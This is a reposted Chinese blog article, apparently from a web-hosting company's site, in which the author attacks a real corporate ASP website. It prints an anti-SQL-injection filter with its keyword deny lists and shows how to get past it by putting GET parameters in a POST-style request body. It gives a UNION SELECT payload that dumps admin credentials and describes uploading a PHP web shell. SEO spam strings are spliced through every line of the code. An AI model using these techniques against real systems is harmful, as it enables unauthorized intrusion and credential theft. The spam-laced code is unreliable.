加入收藏 | 设为首页 | 会员中心 | 我要投稿 | 在线留言 | RSS
成网科技业务包括域名空间企业网站制作
 
国际域名com/net/org仅售80元/年
1G独立空间(PHP+MYSQL)仅售600元/年
您当前的位置:首页 > 技术交流 > 网络安全 > 脚本攻防

利用Request对象的包解析漏洞绕过防注入程序

时间:2012-05-10 11:45:44  来源:互联网  作者:佚名  点击:

今天无聊来看看他们的站,打开网站 asp 的企业站 ,点了几个链接看了下,看不出来什么程序 于是扫扫目录 扫出来个 upload_photo.asp 这个文件一般使用的是无惧无组件上传 ,存在双文件上传的漏洞 ,尝试 cookies 欺骗绕过登录检测 遗憾的是不行 看来这个洞被补了。。虽然是老程序 ,但是用了这么多年 ,经过无数次被黑之后 一些洞洞也被补的差不多了。。去网上找了个差不多的企业站程序下载下来研究了下 ,发现其 downloadshow.asp 的防注入是通过 check_sql.asp 文件来实现的 ,好的我们来看看这个程序 看看能不能绕过 ,本地搭建了个测试环境,下面是check_sql.asp 的内容 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

复制代码代码如下: 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
<% 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
'------定义部份 头---------------------------------------------------------------------- 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Err_Message = 1 '处理方式:1=提示信息,2=转向页面,3=先提示再转向 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Err_Web = "Err.Asp" '出错时转向的页面 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥=" 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
'在这部份定义get非法参数,使用"∥"号间隔 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Form_Badword="'∥%∥&∥*∥#∥(∥)∥=" '在这部份定义post非法参数,使用"∥"号间隔 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
'------定义部份 尾----------------------------------------------------------------------- 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
' 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
On Error Resume Next 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
'----- 对 get query 值 的过滤. 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
if request.QueryString<>"" then 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
response.write "QueryString :" & request.QueryString & "9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
" 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Chk_badword=split(Query_Badword,"∥") 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
FOR EACH Query_Name IN Request.QueryString 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
for i=0 to ubound(Chk_badword) 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
response.write request.QueryString(Query_Name) & "出现关键词" & Chk_badword(i) &"9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
" 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Select Case Err_Message 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Case "1" 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Response.Write "传参错误!参数 "&name&" 的值中包含非法字符串!/n/n请不要在参数中出现:and update delete ; insert mid master 等非法字符" 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Case "2" 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>" 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Case "3" 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&"的值中包含非法字符串!/n/n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');location.href='"&Err_Web&"';</Script>" 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
End Select 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Response.End 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
End If 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
NEXT 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
NEXT 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
End if 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
'-----对 post 表 单值的过滤. 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
if request.form<>"" then 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Chk_badword=split(Form_Badword,"∥") 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
FOR EACH name IN Request.Form 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
for i=0 to ubound(Chk_badword) 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
response.write request.form(name) & "出现关键词" & Chk_badword(i) &"9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
" 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Select Case Err_Message 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Case "1" 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Response.Write "出错了!表单 "&name&" 的值中包含非法字符串!/n/n请不要在表单中出现: % & * # ( ) 等非法字符!" 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Case "3" 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Response.Write "出错了!参数 "&name&"的值中包含非法字符串!/n/n请不要在表单中出现: % & * # ( ) 等非法字符!" 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
End Select 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Response.End 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
End If 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
NEXT 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
NEXT 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
end if 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
%> 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
可以看出其对GET请求发送的参数 过滤的非常的严格 ,但是对于POST发送的参数却只过滤了几个符号 ,这个很好绕过的 ,但是downloadshow.asp 只接受GET 发送过来的参数啊 ,这该如何绕过?这里就要使用 asp 和 aspx 的Request对象的包解析漏洞,即像下面的形式发送的内容 ,使用 request对象仍然可以获取正确的值 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
GET /Downloadshow.asp HTTP/1.1 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
HOST:XXXXXXXXXXXXXXXX 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Content-Length: xx 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
Content-Type: XXXXXXXXXXXXXXXXXX 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
ID=111 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
然后 downloadshow.asp 中 使用request("ID")仍然可以获取正确的ID值 ,和直接 GET /downloadshow.asp?ID=111 的效果是一样的,但是这样的话 对于上面的那个 sql 注入检测程序 ,却会把这样的数据当作是POST提交的数据 ,再加上不到位的检测 ,sql注入漏洞就产生了,如下图所示: 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
点击查看原图9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
点击查看原图9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
点击查看原图9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
     这里有个技巧就是 使用 火狐的 Hackbar 插件 可以很方便的加上 POST 的数据 。9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
好了 本地成功了 我们拿到目标站来试试效果 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
来到 downloadshow.asp 页面 提交POST 数据9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
ID=-7%20union%20select%201%2Cusername%2C3%2C4%2C5%2C6%2Cpassword%2C8%2Cpassword%2C0%2C11%2C12%2C13%20from%20admin9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
直接爆出管理员的用户名密码9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

点击查看原图9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

      然后就是后台拿shell了 ,现在我们是管理员了而且已经登录, 那我们再来 试试双文件上传  悲剧的发现 对于 在后缀后面加空格的方法绕过后缀检测已经无效了,无惧的上传组建会检测 asp asa aspx 3种后缀 ,那么对于 asp 的站 可以试试 cer ,悲剧的是cer这个站不支持。。又看到有数据库备份 ,看看 数据库的路径和名字都不可改写 这个好办  使用 firebug 改成我上传的图片路径 然后备份文件填写1.asp 提交,本地抓下包 发现原始数据库的路径并未当作参赛提交 无语了 ……果然 像我开头说的那样虽然是垃圾站 但是经过这么多年被黑,各种小洞都补了 。。无奈 试试其他脚本类型吧  上传个 php ,还好服务器支持php ,shell 到手了。 9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

9D2成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
成网科技 www.it28.com竭诚为您服务!
开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设_成网科技

更多
 


来顶一下
返回首页
返回首页
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表
推荐资讯
相关文章
    无相关信息
栏目更新
栏目热门